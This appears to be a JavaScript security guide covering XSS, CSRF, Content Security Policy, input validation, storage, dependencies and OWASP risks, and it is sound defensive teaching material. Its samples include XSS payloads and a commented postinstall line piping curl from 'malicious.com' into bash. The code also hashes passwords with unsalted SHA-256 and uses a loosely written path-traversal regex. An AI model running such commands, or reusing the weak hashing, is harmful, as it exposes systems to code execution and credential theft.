|$ curl https://forge-ai.dev/api/markdown?path=docs/js/security
$cat docs/javascript-—-security.md
updated This week·30 min read·published

JavaScript — Security

JavaScriptSecurityIntermediateIntermediate to Advanced
Introduction

JavaScript security is a critical concern for modern web applications. As the primary language of the web, JavaScript is both powerful and dangerous — it runs in the user's browser, has access to sensitive data, and can be manipulated by attackers. Security flaws in JavaScript code can lead to data breaches, account takeover, financial fraud, and legal liability.

Web security is a shared responsibility between the server and client. While the server enforces access control and validates input, the client-side code must protect against cross-site scripting (XSS), cross-site request forgery (CSRF), clickjacking, and other browser-based attacks. The principle of defense in depth applies — multiple layers of security are better than relying on any single protection.

This guide covers the most critical JavaScript security topics: XSS prevention, CSRF protection, Content Security Policy, input validation, secure storage, dependency management, and the OWASP Top 10 vulnerabilities as they apply to JavaScript applications. Security is not a feature — it is a property of the entire system.

security-intro.js
JavaScript
1// The security mindset — trust nothing, validate everything
2// Never trust user input, URL parameters, or API responses
3
4// DANGEROUS: Directly inserting user input into the DOM
5const userInput = "<img src=x onerror=alert('XSS')>";
6element.innerHTML = userInput; // XSS vulnerability!
7
8// SAFE: Use textContent (automatically escapes HTML)
9element.textContent = userInput; // Safe — content is text, not HTML
10
11// SAFE: Sanitize before inserting HTML
12import DOMPurify from 'dompurify';
13element.innerHTML = DOMPurify.sanitize(userInput);
14
15// SAFE: Use trusted types (CSP enforcement)
16if (trustedTypes && trustedTypes.createPolicy) {
17 const policy = trustedTypes.createPolicy('default', {
18 createHTML: (input) => DOMPurify.sanitize(input),
19 });
20 element.innerHTML = policy.createHTML(userInput);
21}
22
23// Principle: encode on output, not on input
24// Store raw data, encode when rendering to the page
25// This preserves data integrity while preventing injection
XSS Prevention

Cross-Site Scripting (XSS) is the most common web security vulnerability. It occurs when an attacker injects malicious scripts into content that is then served to other users. Three types exist: Reflected XSS (malicious script in URL/request), Stored XSS (script persisted in database), and DOM-based XSS (client-side script processes untrusted data unsafely). All three are preventable with consistent encoding and sanitization.

ContextEncoding MethodExample
HTML bodyHTML entity encode&lt; → &amp;lt;
HTML attributeAttribute encode" → &quot;
JavaScript stringJS string escape\\' → \\\\'
URL parameterURL encodespace → %20
CSS contextCSS escape\\x00 → \\\\x00
xss-prevention.js
JavaScript
1// XSS prevention strategies
2
3// 1. Always use textContent instead of innerHTML when possible
4function safeRender(text) {
5 const div = document.createElement('div');
6 div.textContent = text; // Safe — no HTML parsing
7 return div;
8}
9
10// 2. Sanitize HTML input with DOMPurify or similar
11import DOMPurify from 'dompurify';
12
13const dirty = '<img src=x onerror="alert(1)">';
14const clean = DOMPurify.sanitize(dirty);
15// Result: '<img src="x">' — onerror event removed
16
17// 3. Use React/JSX — they auto-escape by default
18function UserProfile({ name, bio }) {
19 return (
20 <div>
21 <h1>{name}</h1> {/* Auto-escaped */}
22 <p>{bio}</p> {/* Auto-escaped */}
23 </div>
24 );
25}
26// WARNING: dangerouslySetInnerHTML bypasses escaping!
27// <div dangerouslySetInnerHTML={{ __html: userContent }} />
28
29// 4. Avoid eval-like functions
30// NEVER use: eval(), new Function(), setTimeout(string)
31// setInterval(string), document.write(), document.writeln()
32
33// DANGEROUS: eval with user input
34const userCode = "alert('pwned')";
35// eval(userCode); // MAJOR vulnerability
36
37// SAFE: Use proper parsers for structured data
38const json = JSON.parse(userInput); // Only parses JSON, not code
39
40// 5. CSP as a mitigation layer (not a replacement)
41// Content-Security-Policy: script-src 'self'
42
43// 6. Sanitize URLs to prevent javascript: protocol attacks
44function safeUrl(input) {
45 const url = new URL(input, window.location.origin);
46 if (url.protocol === 'javascript:' || url.protocol === 'data:') {
47 return 'about:blank';
48 }
49 return url.href;
50}
51
52// 7. Trusted Types API (Chrome/Edge)
53if (window.trustedTypes) {
54 const escapePolicy = trustedTypes.createPolicy('escape', {
55 createHTML: (str) => str.replace(/</g, '&lt;')
56 .replace(/>/g, '&gt;')
57 .replace(/"/g, '&quot;'),
58 });
59}

warning

The single most important XSS prevention rule: never insert untrusted data into the DOM using innerHTML, outerHTML, or insertAdjacentHTML. Use textContent for text, setAttribute for attributes, and DOMPurify when HTML is truly required (e.g., rich text editors). Modern frameworks (React, Vue, Svelte) escape by default — do not bypass their safeguards with dangerouslySetInnerHTML or v-html unless absolutely necessary.
CSRF Protection

Cross-Site Request Forgery (CSRF) tricks an authenticated user into performing unintended actions on a web application. The attacker crafts a malicious page that sends a request to the target site — if the user is authenticated, the browser automatically includes cookies, making the request appear legitimate. CSRF attacks target state-changing requests (POST, PUT, DELETE), not data retrieval.

csrf-protection.js
JavaScript
1// CSRF protection strategies
2
3// 1. SameSite cookies (modern, recommended)
4// Set-Cookie: session=abc123; SameSite=Lax; Secure; HttpOnly
5// SameSite=Lax: cookies sent for top-level navigations (GET)
6// SameSite=Strict: cookies sent only for same-site requests
7// SameSite=None: cookies sent cross-site (requires Secure)
8
9// Express.js example with SameSite cookies
10app.use(session({
11 cookie: {
12 sameSite: 'lax', // prevents CSRF for mutating methods
13 secure: true, // only send over HTTPS
14 httpOnly: true, // prevent JavaScript access
15 },
16}));
17
18// 2. CSRF tokens — for when SameSite is not enough
19// Server generates a token, client sends it with mutating requests
20function csrfTokenMiddleware(req, res, next) {
21 if (req.method === 'GET') {
22 res.cookie('csrf-token', generateToken());
23 } else {
24 const token = req.headers['x-csrf-token'];
25 const stored = req.cookies['csrf-token'];
26 if (!token || token !== stored) {
27 return res.status(403).json({ error: 'CSRF validation failed' });
28 }
29 }
30 next();
31}
32
33// 3. Custom headers — simple CSRF protection
34// API endpoints check for a custom header
35// fetch('/api/data', {
36// method: 'POST',
37// headers: {
38// 'X-Requested-With': 'XMLHttpRequest',
39// 'Content-Type': 'application/json',
40// },
41// body: JSON.stringify(data),
42// });
43// Browsers enforce CORS on custom headers — prevents simple CSRF
44
45// 4. Double Submit Cookie pattern
46// Send the same random token in a cookie and a request header
47// Server compares them without storing server-side
48
49// 5. Origin/Referer header validation
50// Server checks Origin or Referer header matches allowed origins
51function checkOrigin(req, res, next) {
52 const origin = req.headers.origin || req.headers.referer;
53 if (origin && !ALLOWED_ORIGINS.includes(origin)) {
54 return res.status(403).json({ error: 'Invalid origin' });
55 }
56 next();
57}

info

The SameSite=Lax cookie attribute eliminates most CSRF attacks for modern browsers. However, legacy browsers, same-site scripting scenarios, and subdomain attacks require additional protections. For APIs, always validate custom headers via CORS preflight — a request with a custom header cannot be crafted by a simple form submission, making it inherently CSRF-resistant.
Content Security Policy

Content Security Policy (CSP) is a browser security mechanism that mitigates XSS and data injection attacks. CSP works by defining a whitelist of trusted sources for executable content — scripts, styles, fonts, images, and more. When a page violates the policy, the browser blocks the resource or reports the violation (depending on the policy mode).

CSP is configured via the Content-Security-Policy HTTP header or a <meta> tag. A well-crafted CSP provides defense in depth — even if an XSS vulnerability exists, the attacker's payload may be blocked by the policy. CSP should never be the only defense, but it is a powerful safety net.

csp.js
JavaScript
1// Content-Security-Policy header examples
2
3// Strict CSP — recommended for most applications
4// Content-Security-Policy:
5// default-src 'self';
6// script-src 'self';
7// style-src 'self' 'unsafe-inline';
8// img-src 'self' data: https:;
9// font-src 'self' https://fonts.gstatic.com;
10// connect-src 'self' https://api.example.com;
11// frame-ancestors 'none';
12// base-uri 'self';
13// form-action 'self';
14
15// Nonce-based CSP — allow specific inline scripts
16// Content-Security-Policy: script-src 'nonce-abc123'
17<script nonce="abc123">
18 console.log('This inline script is allowed');
19</script>
20
21// Hash-based CSP — allow scripts by their content hash
22// Content-Security-Policy: script-src 'sha256-abc123...'
23// Generate hash: echo -n "alert('hello')" | openssl dgst -sha256 -binary | base64
24
25// Strict dynamic CSP (recommended by Google)
26// Content-Security-Policy:
27// script-src 'strict-dynamic' 'nonce-abc123';
28// object-src 'none';
29// base-uri 'none';
30
31// Reporting — detect violations without blocking
32// Content-Security-Policy-Report-Only:
33// default-src 'self';
34// report-uri /csp-violation;
35
36// Express middleware for CSP
37app.use((req, res, next) => {
38 res.setHeader(
39 'Content-Security-Policy',
40 [
41 "default-src 'self'",
42 "script-src 'strict-dynamic' 'nonce-" + res.locals.nonce + "'",
43 "style-src 'self' 'unsafe-inline'",
44 "img-src 'self' data:",
45 "font-src 'self'",
46 "connect-src 'self'",
47 "frame-ancestors 'none'",
48 "base-uri 'self'",
49 "form-action 'self'",
50 ].join('; ')
51 );
52 next();
53});
54
55// CSP violation report handler
56app.post('/csp-violation', (req, res) => {
57 const report = req.body['csp-report'];
58 console.warn('CSP Violation:', {
59 blocked: report['blocked-uri'],
60 violated: report['violated-directive'],
61 page: report['document-uri'],
62 });
63 res.status(204).end();
64});

best practice

Start with Content-Security-Policy-Report-Only to discover violations before enforcing. Use strict-dynamic with nonces for modern applications — it eliminates the need to whitelist CDN URLs and gracefully falls back to hashes. Avoid 'unsafe-inline' for scripts (use nonces instead). CSP is a mitigation, not a cure — it does not replace input sanitization and output encoding.
preview
Input Validation

Input validation is the first line of defense against injection attacks. All user-supplied data — form fields, URL parameters, headers, cookies, file uploads — must be validated before processing. Validation should occur on both client (for UX) and server (for security). Client-side validation is bypassable; server-side validation is the authoritative gate.

input-validation.js
JavaScript
1// Server-side input validation with Zod
2import { z } from 'zod';
3
4// Define a schema for user registration
5const UserSchema = z.object({
6 email: z.string().email('Invalid email format'),
7 password: z
8 .string()
9 .min(8, 'Password must be at least 8 characters')
10 .max(100, 'Password too long')
11 .regex(/[A-Z]/, 'Must contain uppercase')
12 .regex(/[0-9]/, 'Must contain number'),
13 age: z
14 .number()
15 .int()
16 .min(13, 'Must be at least 13')
17 .max(120, 'Invalid age'),
18 name: z
19 .string()
20 .min(1, 'Name is required')
21 .max(50, 'Name too long')
22 .trim(),
23 role: z.enum(['user', 'admin']).default('user'),
24});
25
26// Validate input at the API boundary
27app.post('/api/register', (req, res) => {
28 const result = UserSchema.safeParse(req.body);
29
30 if (!result.success) {
31 return res.status(400).json({
32 error: 'Validation failed',
33 details: result.error.flatten().fieldErrors,
34 });
35 }
36
37 const cleanData = result.data; // fully validated and typed
38 // Process cleanData...
39});
40
41// SQL injection prevention — always use parameterized queries
42// DANGEROUS: string interpolation
43// db.query(`SELECT * FROM users WHERE id = '${req.params.id}'`); // SQL injection!
44
45// SAFE: parameterized query
46db.query('SELECT * FROM users WHERE id = $1', [req.params.id]);
47
48// NoSQL injection prevention (MongoDB)
49// DANGEROUS:
50// db.collection('users').find({ username: req.body.username }); // NoSQL injection!
51
52// SAFE: sanitize or use a type-checked query builder
53const UserQuery = z.object({
54 username: z.string().min(1).max(50),
55});
56const query = UserQuery.parse(req.body);
57db.collection('users').find({ username: query.username });
58
59// Path traversal prevention
60import path from 'path';
61
62function safeFilePath(userInput, baseDir) {
63 const sanitized = path.normalize(userInput).replace(/^(..[/\\])+/, '');
64 const filePath = path.join(baseDir, sanitized);
65 if (!filePath.startsWith(baseDir)) {
66 throw new Error('Path traversal detected');
67 }
68 return filePath;
69}

warning

Client-side validation is for user experience only — it can be bypassed by anyone who knows how to open DevTools or send custom HTTP requests. All validation must be repeated on the server. Use a schema validation library like Zod, Yup, or Joi to define validation rules once and apply them consistently. Never trust req.body, req.query, or req.params without validation.
Secure Storage

Storing sensitive data in the browser requires careful consideration. localStorage, sessionStorage, and IndexedDB are all accessible to any JavaScript running on the same origin — including third-party scripts. For authenticated sessions, use HttpOnly cookies that are inaccessible to JavaScript. For API tokens, consider short-lived tokens with refresh flows.

StorageJS AccessiblePersistenceBest For
HttpOnly CookieNoSession or persistentSession tokens, auth credentials
localStorageYesUntil clearedNon-sensitive preferences, cache
sessionStorageYesUntil tab closesSession-scoped UI state
IndexedDBYesUntil clearedLarge client-side data stores
MemoryYes (in-scope)Until page refreshSensitive data during current session
secure-storage.js
JavaScript
1// Secure storage patterns
2
3// 1. Use HttpOnly cookies for authentication
4// Server-side cookie configuration:
5// Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=86400
6// HttpOnly: prevents JavaScript access (XSS-resistant)
7// Secure: only sent over HTTPS
8// SameSite=Lax: prevents CSRF for non-GET requests
9
10// 2. Token-based auth — store in memory, not localStorage
11let accessToken = null;
12
13async function login(credentials) {
14 const res = await fetch('/api/login', {
15 method: 'POST',
16 body: JSON.stringify(credentials),
17 headers: { 'Content-Type': 'application/json' },
18 });
19
20 const { token, refreshToken } = await res.json();
21
22 // Store access token in memory
23 accessToken = token;
24
25 // Store refresh token in HttpOnly cookie (server sets this)
26 // Or use a Web Worker to isolate the refresh token
27 return token;
28}
29
30// 3. Avoid storing secrets in localStorage
31// localStorage.getItem('api-key'); // BAD — accessible to all same-origin JS
32
33// 4. Web Worker isolation for sensitive operations
34// const secureWorker = new Worker('secure-worker.js');
35// secureWorker.postMessage({ type: 'decrypt', data: encrypted });
36// The main thread never sees the decryption key
37
38// 5. Cache-control for sensitive data
39fetch('/api/sensitive-data', {
40 headers: {
41 'Cache-Control': 'no-store',
42 'Pragma': 'no-cache',
43 },
44});
45
46// 6. Clear sensitive data on tab close / logout
47function logout() {
48 accessToken = null;
49 // Clear session storage
50 sessionStorage.clear();
51 // Clear specific localStorage keys (not all — respect preferences)
52 localStorage.removeItem('sensitive-data');
53}
🔥

pro tip

The safest place for sensitive data in a browser application is never having it in the browser at all. Process sensitive data on the server and send only the results to the client. When tokens must exist on the client, use HttpOnly cookies for session tokens and in-memory variables for short-lived access tokens. Consider the Web Worker isolation pattern — move cryptographic operations and token management to a dedicated worker that the main thread cannot directly access.
Dependency Security

Modern JavaScript applications rely on hundreds or thousands of third-party packages. Each dependency is a potential attack vector — compromised packages can steal credentials, inject malware, or exfiltrate data. The npm supply chain has been targeted by typosquatting, dependency confusion, account takeover, and malicious maintainer attacks.

ThreatDescriptionMitigation
TyposquattingPackages with similar names to popular onesVerify package names, use npm audit
Dependency confusionPrivate package name taken in public registryScoped packages (@scope/name), .npmrc registry config
Malicious updatesCompromised maintainer pushes malicious codeLockfiles, version pinning, dependency review
Known CVEsPublicly known vulnerabilities in dependenciesnpm audit, Dependabot, Snyk, Renovate
Supply chainCompromised build tools or CI pipelinesLockfile integrity, signed commits, SBOM
dependency-security.js
JavaScript
1// Dependency security practices
2
3// 1. Use lockfiles (package-lock.json, yarn.lock, pnpm-lock.yaml)
4// Lockfiles ensure deterministic installs and prevent supply chain attacks
5// Always commit lockfiles to version control!
6
7// 2. Audit dependencies regularly
8// npm audit — check for known vulnerabilities
9// npm audit fix — auto-fix patch-level vulnerabilities
10// npm audit fix --force — may break APIs (use with caution)
11
12// 3. Use npm audit CI integration
13// package.json: "scripts": { "audit": "npm audit --audit-level=high" }
14
15// 4. Dependabot / Renovate — automated dependency updates
16// Configure in .github/dependabot.yml:
17// version: 2
18// updates:
19// - package-ecosystem: "npm"
20// directory: "/"
21// schedule:
22// interval: "weekly"
23// open-pull-requests-limit: 10
24
25// 5. Check package integrity before installation
26// npm install --ignore-scripts (disables install scripts)
27// npm config set ignore-scripts true
28
29// 6. Socket.dev or similar — real-time dependency risk assessment
30// npx socket scan # Scan your project for supply chain risks
31
32// 7. Review package.json for risky patterns
33// "postinstall": "curl http://malicious.com | bash" // DANGEROUS!
34// package.json "scripts" should never execute network requests
35
36// 8. Minimize dependency count
37// Before adding a dependency, ask:
38// - Can I write this in 20 lines of code?
39// - Is the package actively maintained?
40// - Does it have known vulnerabilities?
41// - What is the bundle size impact?
42
43// 9. Use Subresource Integrity (SRI) for CDN scripts
44// <script
45// src="https://cdn.example.com/lib.js"
46// integrity="sha384-abc123..."
47// crossorigin="anonymous"
48// ></script>
49// SRI ensures the browser checks the script hash before executing
50
51// 10. Generate SBOM (Software Bill of Materials)
52// npx sbom-utility generate -f cyclonedx -o sbom.json

best practice

The single most impactful dependency security practice: commit your lockfile and use npm ci (not npm install) in CI/CD pipelines. npm ci installs from the lockfile without resolving versions, ensuring deterministic builds and rejecting lockfile discrepancies. Combine with Dependabot for automatic vulnerability patching and Socket.dev for real-time supply chain risk detection.
OWASP Top 10

The OWASP Top 10 is the standard awareness document for web application security. It represents a broad consensus on the most critical security risks. While some items are primarily server-side concerns, client-side JavaScript plays a role in preventing or mitigating nearly all of them.

RankRiskJS Relevance
A01Broken Access ControlNever rely on client-side checks; enforce on server
A02Cryptographic FailuresUse Web Crypto API, not custom crypto
A03InjectionXSS, SQL/NoSQL injection — validate and encode
A04Insecure DesignThreat modeling, security by design
A05Security MisconfigurationCSP headers, CORS config, remove debug endpoints
A06Vulnerable ComponentsKeep npm dependencies updated, audit regularly
A07Auth FailuresSecure session management, HttpOnly cookies
A08Data Integrity FailuresSubresource Integrity, signed tokens
A09Logging & MonitoringLog client-side errors, monitor CSP violations
A10SSRFValidate URLs, restrict fetch destinations
owasp-mitigations.js
JavaScript
1// OWASP Top 10 — practical JavaScript mitigations
2
3// A02: Cryptographic Failures — use Web Crypto API, never custom crypto
4async function hashPassword(password) {
5 const encoder = new TextEncoder();
6 const data = encoder.encode(password);
7 const hash = await crypto.subtle.digest('SHA-256', data);
8 return Array.from(new Uint8Array(hash))
9 .map(b => b.toString(16).padStart(2, '0'))
10 .join('');
11}
12
13// A05: Security Misconfiguration — CSP headers
14// Set via server response:
15// Content-Security-Policy: default-src 'self'
16
17// A05: CORS configuration — be specific, not permissive
18// BAD: Access-Control-Allow-Origin: *
19// GOOD: Access-Control-Allow-Origin: https://app.example.com
20
21// A06: Vulnerable Components — audit script
22// const { execSync } = require('child_process');
23// const audit = JSON.parse(execSync('npm audit --json').toString());
24// const critical = audit.vulnerabilities
25// .filter(v => v.severity === 'critical');
26// if (critical.length > 0) process.exit(1);
27
28// A08: Data Integrity — SRI for external resources
29// Verify integrity of third-party scripts before execution
30function loadScriptWithSRI(url, integrity) {
31 return new Promise((resolve, reject) => {
32 const script = document.createElement('script');
33 script.src = url;
34 script.integrity = integrity;
35 script.crossOrigin = 'anonymous';
36 script.onload = resolve;
37 script.onerror = reject;
38 document.head.appendChild(script);
39 });
40}
41
42// A09: Logging & Monitoring — client-side error tracking
43window.addEventListener('error', (event) => {
44 fetch('/api/client-error', {
45 method: 'POST',
46 body: JSON.stringify({
47 message: event.message,
48 filename: event.filename,
49 lineno: event.lineno,
50 colno: event.colno,
51 stack: event.error?.stack,
52 url: window.location.href,
53 userAgent: navigator.userAgent,
54 }),
55 headers: { 'Content-Type': 'application/json' },
56 }).catch(() => {}); // fire and forget
57});
58
59// A10: SSRF — validate URLs before fetching
60function validateUrl(input) {
61 try {
62 const url = new URL(input);
63 const blocked = ['169.254.169.254', '127.0.0.1', 'localhost', '[::1]'];
64 if (blocked.some(h => url.hostname.includes(h))) {
65 throw new Error('Blocked internal address');
66 }
67 return url.href;
68 } catch {
69 return null;
70 }
71}
🔥

pro tip

The OWASP Top 10 is updated every 3-4 years. Bookmark the current version at owasp.org/Top10 and review it with your team during each development cycle. The most important shift in recent years: A04 — Insecure Design. Security cannot be bolted on after implementation. Threat modeling, security requirements, and secure architecture decisions must happen during the design phase, not after deployment.
Best Practices
Never trust user input — validate everything on the server regardless of client-side checks
Use textContent instead of innerHTML — or always sanitize with DOMPurify when HTML is required
Set HttpOnly, Secure, and SameSite attributes on all cookies containing session data
Implement Content Security Policy with strict-dynamic and nonces — use Report-Only mode first
Keep dependencies updated — use Dependabot/Renovate and audit regularly with npm audit
Store tokens in HttpOnly cookies or memory — never in localStorage or sessionStorage
Use parameterized queries for all database operations — never interpolate user input into SQL
Implement rate limiting and request size limits on all API endpoints
Use Subresource Integrity (SRI) for all third-party scripts loaded from CDNs
Log security-relevant events and monitor for anomalies — you cannot respond to what you cannot see
🔥

pro tip

The most effective security practice is the simplest: adopt a security mindset. Every time you write code that processes external data — a user typing in a form, a URL parameter, a file upload, a WebSocket message, an API response — ask yourself: "What is the worst thing someone could do with this input?" Then code defensively against that scenario. Security is not a checklist; it is a habit of thinking.
$Blueprint — Engineering Documentation·Section ID: JS-SECURITY·Revision: 1.0